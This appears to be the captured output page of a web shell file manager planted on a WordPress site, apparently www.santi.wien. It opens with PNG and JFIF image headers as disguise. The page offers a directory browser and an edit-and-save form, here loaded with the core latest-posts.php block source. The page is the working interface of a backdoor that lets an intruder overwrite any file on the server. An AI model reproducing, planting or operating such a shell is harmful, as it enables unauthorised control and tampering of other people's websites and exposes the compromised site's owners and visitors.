�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2F'>www.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2Fblocks%2F'>blocks</a>/</p><hr><h3>✏️ Editing: latest-posts.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Server-side rendering of the `core/latest-posts` block.
 *
 * @package WordPress
 */

/**
 * The excerpt length set by the Latest Posts core block
 * set at render time and used by the block itself.
 *
 * @var int
 */
global $block_core_latest_posts_excerpt_length;
$block_core_latest_posts_excerpt_length = 0;

/**
 * Callback for the excerpt_length filter used by
 * the Latest Posts block at render time.
 *
 * @since 5.4.0
 *
 * @global int $block_core_latest_posts_excerpt_length Excerpt length set by the Latest Posts core block.
 *
 * @return int Returns the global $block_core_latest_posts_excerpt_length variable
 *             to allow the excerpt_length filter respect the Latest Block setting.
 */
function block_core_latest_posts_get_excerpt_length() {
	global $block_core_latest_posts_excerpt_length;
	return $block_core_latest_posts_excerpt_length;
}

/**
 * Renders the `core/latest-posts` block on server.
 *
 * @since 5.0.0
 *
 * @global WP_Post $post                                   Global post object.
 * @global int     $block_core_latest_posts_excerpt_length Excerpt length set by the Latest Posts core block.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest posts added.
 */
function render_block_core_latest_posts( $attributes ) {
	global $post, $block_core_latest_posts_excerpt_length;
	static $rendering_stack = array();

	$args = array(
		&#039;posts_per_page&#039;      =&gt; $attributes[&#039;postsToShow&#039;],
		&#039;post_status&#039;         =&gt; &#039;publish&#039;,
		&#039;order&#039;               =&gt; $attributes[&#039;order&#039;],
		&#039;orderby&#039;             =&gt; $attributes[&#039;orderBy&#039;],
		&#039;ignore_sticky_posts&#039; =&gt; true,
		&#039;no_found_rows&#039;       =&gt; true,
	);

	$block_core_latest_posts_excerpt_length = $attributes[&#039;excerptLength&#039;];
	add_filter( &#039;excerpt_length&#039;, &#039;block_core_latest_posts_get_excerpt_length&#039;, 20 );

	if ( ! empty( $attributes[&#039;categories&#039;] ) ) {
		$args[&#039;category__in&#039;] = array_column( $attributes[&#039;categories&#039;], &#039;id&#039; );
	}
	if ( isset( $attributes[&#039;selectedAuthor&#039;] ) ) {
		$args[&#039;author&#039;] = $attributes[&#039;selectedAuthor&#039;];
	}

	$query = new WP_Query( $args );

	if ( isset( $attributes[&#039;displayFeaturedImage&#039;] ) &amp;&amp; $attributes[&#039;displayFeaturedImage&#039;] ) {
		update_post_thumbnail_cache( $query );
	}

	$list_items_markup = &#039;&#039;;
	// Snapshot the current global post so it can be restored after the loop.
	// We use have_posts()/the_post() rather than foreach so that setup_postdata()
	// is called for each post, establishing the correct global context for
	// do_blocks() and other filters that run during full-content rendering.
	$previous_post = $post ?? null;

	while ( $query-&gt;have_posts() ) {
		$query-&gt;the_post();
		$post_link = esc_url( get_permalink() );
		$title     = get_the_title();

		if ( ! $title ) {
			$title = __( &#039;(no title)&#039; );
		}

		$list_items_markup .= &#039;&lt;li&gt;&#039;;

		if ( $attributes[&#039;displayFeaturedImage&#039;] &amp;&amp; has_post_thumbnail() ) {
			$image_style = &#039;&#039;;
			if ( isset( $attributes[&#039;featuredImageSizeWidth&#039;] ) ) {
				$image_style .= sprintf( &#039;max-width:%spx;&#039;, $attributes[&#039;featuredImageSizeWidth&#039;] );
			}
			if ( isset( $attributes[&#039;featuredImageSizeHeight&#039;] ) ) {
				$image_style .= sprintf( &#039;max-height:%spx;&#039;, $attributes[&#039;featuredImageSizeHeight&#039;] );
			}

			$image_classes = &#039;wp-block-latest-posts__featured-image&#039;;
			if ( isset( $attributes[&#039;featuredImageAlign&#039;] ) ) {
				$image_classes .= &#039; align&#039; . $attributes[&#039;featuredImageAlign&#039;];
			}

			$featured_image = get_the_post_thumbnail(
				null,
				$attributes[&#039;featuredImageSizeSlug&#039;],
				array(
					&#039;style&#039; =&gt; esc_attr( $image_style ),
				)
			);
			if ( $attributes[&#039;addLinkToFeaturedImage&#039;] ) {
				$featured_image = sprintf(
					&#039;&lt;a href=&quot;%1$s&quot; aria-label=&quot;%2$s&quot;&gt;%3$s&lt;/a&gt;&#039;,
					esc_url( $post_link ),
					esc_attr( $title ),
					$featured_image
				);
			}
			$list_items_markup .= sprintf(
				&#039;&lt;div class=&quot;%1$s&quot;&gt;%2$s&lt;/div&gt;&#039;,
				esc_attr( $image_classes ),
				$featured_image
			);
		}

		$list_items_markup .= sprintf(
			&#039;&lt;a class=&quot;wp-block-latest-posts__post-title&quot; href=&quot;%1$s&quot;&gt;%2$s&lt;/a&gt;&#039;,
			esc_url( $post_link ),
			$title
		);

		if ( isset( $attributes[&#039;displayAuthor&#039;] ) &amp;&amp; $attributes[&#039;displayAuthor&#039;] ) {
			$author_display_name = get_the_author_meta( &#039;display_name&#039; );

			/* translators: byline. %s: author. */
			$byline = sprintf( __( &#039;by %s&#039; ), $author_display_name );

			if ( ! empty( $author_display_name ) ) {
				$list_items_markup .= sprintf(
					&#039;&lt;div class=&quot;wp-block-latest-posts__post-author&quot;&gt;%1$s&lt;/div&gt;&#039;,
					$byline
				);
			}
		}

		if ( isset( $attributes[&#039;displayPostDate&#039;] ) &amp;&amp; $attributes[&#039;displayPostDate&#039;] ) {
			$list_items_markup .= sprintf(
				&#039;&lt;time datetime=&quot;%1$s&quot; class=&quot;wp-block-latest-posts__post-date&quot;&gt;%2$s&lt;/time&gt;&#039;,
				esc_attr( get_the_date( &#039;c&#039; ) ),
				get_the_date( &#039;&#039; )
			);
		}

		if ( isset( $attributes[&#039;displayPostContent&#039;] ) &amp;&amp; $attributes[&#039;displayPostContent&#039;]
			&amp;&amp; isset( $attributes[&#039;displayPostContentRadio&#039;] ) &amp;&amp; &#039;excerpt&#039; === $attributes[&#039;displayPostContentRadio&#039;] ) {

			$trimmed_excerpt = get_the_excerpt();

			/*
			 * Adds a &quot;Read more&quot; link with screen reader text.
			 * [&amp;hellip;] is the default excerpt ending from wp_trim_excerpt() in Core.
			 */
			if ( str_ends_with( $trimmed_excerpt, &#039; [&amp;hellip;]&#039; ) ) {
				/** This filter is documented in wp-includes/formatting.php */
				$excerpt_length = (int) apply_filters( &#039;excerpt_length&#039;, $block_core_latest_posts_excerpt_length );
				if ( $excerpt_length &lt;= $block_core_latest_posts_excerpt_length ) {
					$trimmed_excerpt  = substr( $trimmed_excerpt, 0, -11 );
					$trimmed_excerpt .= sprintf(
						/* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */
						__( &#039;… &lt;a class=&quot;wp-block-latest-posts__read-more&quot; href=&quot;%1$s&quot; rel=&quot;noopener&quot;&gt;Read more&lt;span class=&quot;screen-reader-text&quot;&gt;: %2$s&lt;/span&gt;&lt;/a&gt;&#039; ),
						esc_url( $post_link ),
						esc_html( $title )
					);
				}
			}

			if ( post_password_required() ) {
				$trimmed_excerpt = __( &#039;This content is password protected.&#039; );
			}

			$list_items_markup .= sprintf(
				&#039;&lt;div class=&quot;wp-block-latest-posts__post-excerpt&quot;&gt;%1$s&lt;/div&gt;&#039;,
				$trimmed_excerpt
			);
		}

		if ( isset( $attributes[&#039;displayPostContent&#039;] ) &amp;&amp; $attributes[&#039;displayPostContent&#039;]
			&amp;&amp; isset( $attributes[&#039;displayPostContentRadio&#039;] ) &amp;&amp; &#039;full_post&#039; === $attributes[&#039;displayPostContentRadio&#039;] ) {

			if ( post_password_required() ) {
				$post_content = __( &#039;This content is password protected.&#039; );
			} else {
				$post_id      = get_the_ID();
				$post_content = get_post_field( &#039;post_content&#039;, $post_id, &#039;raw&#039; );
				// Check if we&#039;re already rendering this post to prevent infinite recursion.
				if ( in_array( $post_id, $rendering_stack, true ) ) {
					$post_content = &#039;&#039;;
				} else {
					$rendering_stack[] = $post_id;

					try {
						// Run through the actions that are typically taken on the_content.
						$post_content = _wp_apply_block_content_filters( $post_content, &#039;latest-posts&#039; );
					} finally {
						array_pop( $rendering_stack );
					}
				}
			}

			$post_content       = str_replace( &#039;]]&gt;&#039;, &#039;]]&amp;gt;&#039;, $post_content );
			$list_items_markup .= sprintf(
				&#039;&lt;div class=&quot;wp-block-latest-posts__post-full-content&quot;&gt;%1$s&lt;/div&gt;&#039;,
				$post_content
			);
		}

		$list_items_markup .= &quot;&lt;/li&gt;\n&quot;;
	}

	// Restore the post context that was active before this secondary query.
	// wp_reset_postdata() is intentionally not used here: when this block is
	// rendered inside another post&#039;s content (e.g. via do_blocks()), it would
	// restore to the main query post rather than the outer rendering post.
	$post = $previous_post;
	if ( $previous_post instanceof WP_Post ) {
		setup_postdata( $previous_post );
	}

	remove_filter( &#039;excerpt_length&#039;, &#039;block_core_latest_posts_get_excerpt_length&#039;, 20 );

	$layout             = $attributes[&#039;layout&#039;] ?? array();
	$legacy_layout_type = (
		isset( $attributes[&#039;postLayout&#039;] ) &amp;&amp;
		&#039;grid&#039; === $attributes[&#039;postLayout&#039;]
	) ? &#039;grid&#039; : &#039;default&#039;;
	$layout_type        = $layout[&#039;type&#039;] ?? $legacy_layout_type;
	$column_count       = $layout[&#039;columnCount&#039;] ?? ( $attributes[&#039;columns&#039;] ?? null );

	$classes = array( &#039;wp-block-latest-posts__list&#039; );
	if ( &#039;grid&#039; === $layout_type ) {
		$classes[] = &#039;is-grid&#039;;
	}
	if ( &#039;grid&#039; === $layout_type &amp;&amp; ! empty( $column_count ) ) {
		$classes[] = sanitize_title( &#039;columns-&#039; . $column_count );
	}
	if ( &#039;grid&#039; === $layout_type &amp;&amp; ! empty( $column_count ) &amp;&amp; ! empty( $layout[&#039;minimumColumnWidth&#039;] ) ) {
		$classes[] = &#039;has-native-responsive-grid&#039;;
	}
	if ( isset( $attributes[&#039;displayPostDate&#039;] ) &amp;&amp; $attributes[&#039;displayPostDate&#039;] ) {
		$classes[] = &#039;has-dates&#039;;
	}
	if ( isset( $attributes[&#039;displayAuthor&#039;] ) &amp;&amp; $attributes[&#039;displayAuthor&#039;] ) {
		$classes[] = &#039;has-author&#039;;
	}
	if ( isset( $attributes[&#039;style&#039;][&#039;elements&#039;][&#039;link&#039;][&#039;color&#039;][&#039;text&#039;] ) ) {
		$classes[] = &#039;has-link-color&#039;;
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( &#039;class&#039; =&gt; implode( &#039; &#039;, $classes ) ) );

	return sprintf(
		&#039;&lt;ul %1$s&gt;%2$s&lt;/ul&gt;&#039;,
		$wrapper_attributes,
		$list_items_markup
	);
}

/**
 * Registers the `core/latest-posts` block on server.
 *
 * @since 5.0.0
 */
function register_block_core_latest_posts() {
	register_block_type_from_metadata(
		__DIR__ . &#039;/latest-posts&#039;,
		array(
			&#039;render_callback&#039; =&gt; &#039;render_block_core_latest_posts&#039;,
		)
	);
}
add_action( &#039;init&#039;, &#039;register_block_core_latest_posts&#039; );

/**
 * Handles outdated versions of the `core/latest-posts` block by converting
 * attribute `categories` from a numeric string to an array with key `id`.
 *
 * This is done to accommodate the changes introduced in #20781 that sought to
 * add support for multiple categories to the block. However, given that this
 * block is dynamic, the usual provisions for block migration are insufficient,
 * as they only act when a block is loaded in the editor.
 *
 * TODO: Remove when and if the bottom client-side deprecation for this block
 * is removed.
 *
 * @since 5.5.0
 *
 * @param array $block A single parsed block object.
 *
 * @return array The migrated block object.
 */
function block_core_latest_posts_migrate_categories( $block ) {
	if (
		&#039;core/latest-posts&#039; === $block[&#039;blockName&#039;] &amp;&amp;
		! empty( $block[&#039;attrs&#039;][&#039;categories&#039;] ) &amp;&amp;
		is_string( $block[&#039;attrs&#039;][&#039;categories&#039;] )
	) {
		$block[&#039;attrs&#039;][&#039;categories&#039;] = array(
			array( &#039;id&#039; =&gt; absint( $block[&#039;attrs&#039;][&#039;categories&#039;] ) ),
		);
	}

	return $block;
}
add_filter( &#039;render_block_data&#039;, &#039;block_core_latest_posts_migrate_categories&#039; );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.santi.wien%2Fhtdocs%2Fwp-includes%2Fblocks'>🔙 Back</a></p>